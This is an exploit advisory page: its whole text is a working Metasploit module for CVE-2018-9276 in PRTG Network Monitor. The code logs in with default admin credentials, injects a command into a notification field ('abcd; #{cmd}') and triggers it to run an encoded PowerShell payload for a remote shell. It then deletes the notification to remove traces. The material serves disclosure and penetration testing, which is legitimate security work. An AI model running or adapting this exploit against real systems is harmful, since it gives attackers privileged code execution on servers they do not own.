PRTG Network Monitor Remote Code Execution

This Metasploit module exploits an authenticated remote code execution vulnerability in PRTG Network Monitor. Notifications can be created by an authenticated user and can execute scripts when triggered. Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user. The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform remote code execution using a Powershell payload. It may require a few tries to get a shell because notifications are queued up on the server. This vulnerability affects versions prior to 18.2.39.


MD5 | 60bd8795d3c06d9bcbf5158034587215

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => "PRTG Network Monitor Authenticated RCE",
'Description' => %q{
Notifications can be created by an authenticated user and can execute scripts when triggered.
Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user.
The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload.
It may require a few tries to get a shell because notifications are queued up on the server.
This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Josh Berry <josh.berry[at]codewatch.org>', # original discovery
'Julien Bedel <contact[at]julienbedel.com>', # module writer
],
'References' =>
[
['CVE', '2018-9276'],
['URL', 'https://www.codewatch.org/blog/?p=453']
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 30 # because notification triggers are queuded up on the server
},
'DisclosureDate' => '2018-06-25'))

register_options(
[
OptString.new('ADMIN_USERNAME', [true, 'The username to authenticate as', 'prtgadmin']),
OptString.new('ADMIN_PASSWORD', [true, 'The password for the specified username', 'prtgadmin'])
]
)
end

def prtg_connect
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
'vars_post' => {
'loginurl' => '',
'username' => datastore['ADMIN_USERNAME'],
'password' => datastore['ADMIN_PASSWORD']
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end

if res && res.code == 302 && res.headers['LOCATION'] == '/home' && res.get_cookies
@cookies = res.get_cookies.to_s
print_good('Successfully logged in with provided credentials')
vprint_status("Session cookies : #{@cookies}")
else
fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')
end

end

def prtg_create_notification(cmd)
uri = datastore['URI']

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'editsettings'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'name_' => Rex::Text.rand_text_alphanumeric(4..24),
'active_' => '1',
'schedule_' => '-1|None|',
'postpone_' => '1',
'summode_' => '2',
'summarysubject_' => '[%sitename] %summarycount Summarized Notifications',
'summinutes_' => '1',
'accessrights_' => '1',
'accessrights_201' => '0',
'active_1' => '0',
'addressuserid_1' => '-1',
'addressgroupid_1' => '-1',
'subject_1' => '[%sitename] %device %name %status %down (%message)',
'contenttype_1' => 'text/html',
'priority_1' => '0',
'active_17' => '0',
'addressuserid_17' => '-1',
'addressgroupid_17' => '-1',
'message_17' => '[%sitename] %device %name %status %down (%message)',
'active_8' => '0',
'addressuserid_8' => '-1',
'addressgroupid_8' => '-1',
'message_8' => '[%sitename] %device %name %status %down (%message)',
'active_2' => '0',
'eventlogfile_2' => 'application',
'sender_2' => 'PRTG Network Monitor',
'eventtype_2' => 'error',
'message_2' => '[%sitename] %device %name %status %down (%message)',
'active_13' => '0',
'syslogport_13' => '514',
'syslogfacility_13' => '1',
'syslogencoding_13' => '1',
'message_13' => '[%sitename] %device %name %status %down (%message)',
'active_14' => '0',
'snmpport_14' => '162',
'snmptrapspec_14' => '0',
'messageid_14' => '0',
'message_14' => '[%sitename] %device %name %status %down (%message)',
'active_9' => '0',
'urlsniselect_9' => '0',
'active_10' => '10',
'address_10' => 'Demo EXE Notification - OutFile.ps1',
'message_10' => "abcd; #{cmd}",
'timeout_10' => '60',
'active_15' => '0',
'message_15' => '[%sitename] %device %name %status %down (%message)',
'active_16' => '0',
'isusergroup_16' => '1',
'addressgroupid_16' => '200|PRTG Administrators',
'ticketuserid_16' => '100|PRTG System Administrator',
'subject_16' => '%device %name %status %down (%message)',
'message_16' => 'Sensor: %name\r\nStatus: %status %down\r\n\r\nDate/Time: %datetime (%timezone)\r\nLast Result: %lastvalue\r\nLast Message: %message\r\n\r\nProbe: %probe\r\nGroup: %group\r\nDevice: %device (%host)\r\n\r\nLast Scan: %lastcheck\r\nLast Up: %lastup\r\nLast Down: %lastdown\r\nUptime: %uptime\r\nDowntime: %downtime\r\nCumulated since: %cumsince\r\nLocation: %location\r\n\r\n',
'autoclose_16' => '1',
'objecttype' => 'notification',
'id' => 'new',
'targeturl' => '/myaccount.htm?tabid=2'
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end

if res && res.code == 200 && res.get_json_document['objid'] && !res.get_json_document['objid'].empty?
@objid = res.get_json_document['objid']
print_good("Created malicious notification (objid=#{@objid})")
vprint_status("Payload : #{cmd}")
else
fail_with(Failure::Unknown, 'Failed to create malicious notification')
end

end

def prtg_trigger_notification
uri = datastore['URI']

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'api', 'notificationtest.htm'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'id' => @objid
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end

if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up')
print_good('Triggered malicious notification')
else
fail_with(Failure::Unknown, 'Failed to trigger malicious notification')
end

end

def prtg_delete_notification
uri = datastore['URI']

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'api', 'deleteobject.htm'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'id' => @objid,
'approve' => '1'
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end

if res
print_good('Deleted malicious notification')
else
fail_with(Failure::Unknown, 'Failed to delete malicious notification')
end

end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], '/index.htm')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
ensure
disconnect
end

if res && res.code == 200
# checks for PRTG version in http headers first, if not found looks for it in html
version_match = /\d{1,2}\.\d{1}\.\d{1,2}\.\d*/
prtg_server_header = res.headers['Server']
if prtg_server_header && prtg_server_header =~ version_match
prtg_version = prtg_server_header[version_match]
else
html = res.get_html_document
prtg_version_html = html.at('span[@class="prtgversion"]')
if prtg_version_html && prtg_version_html.text =~ version_match
prtg_version = prtg_version_html.text[version_match]
end
end

if prtg_version
vprint_status("Identified PRTG Network Monitor Version #{prtg_version}")
if Gem::Version.new(prtg_version) < Gem::Version.new('18.2.39')
return CheckCode::Appears
else
return CheckCode::Safe
end
elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
return CheckCode::Detected
end
end

return CheckCode::Unknown
end

def exploit
powershell_options = {
#method: 'direct',
remove_comspec: true,
wrap_double_quotes: true,
encode_final_payload: true
}
ps_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
prtg_connect
prtg_create_notification(ps_payload)
prtg_trigger_notification
prtg_delete_notification
print_status("Waiting for payload execution.. (#{datastore['WfsDelay']} sec. max)")
end

end

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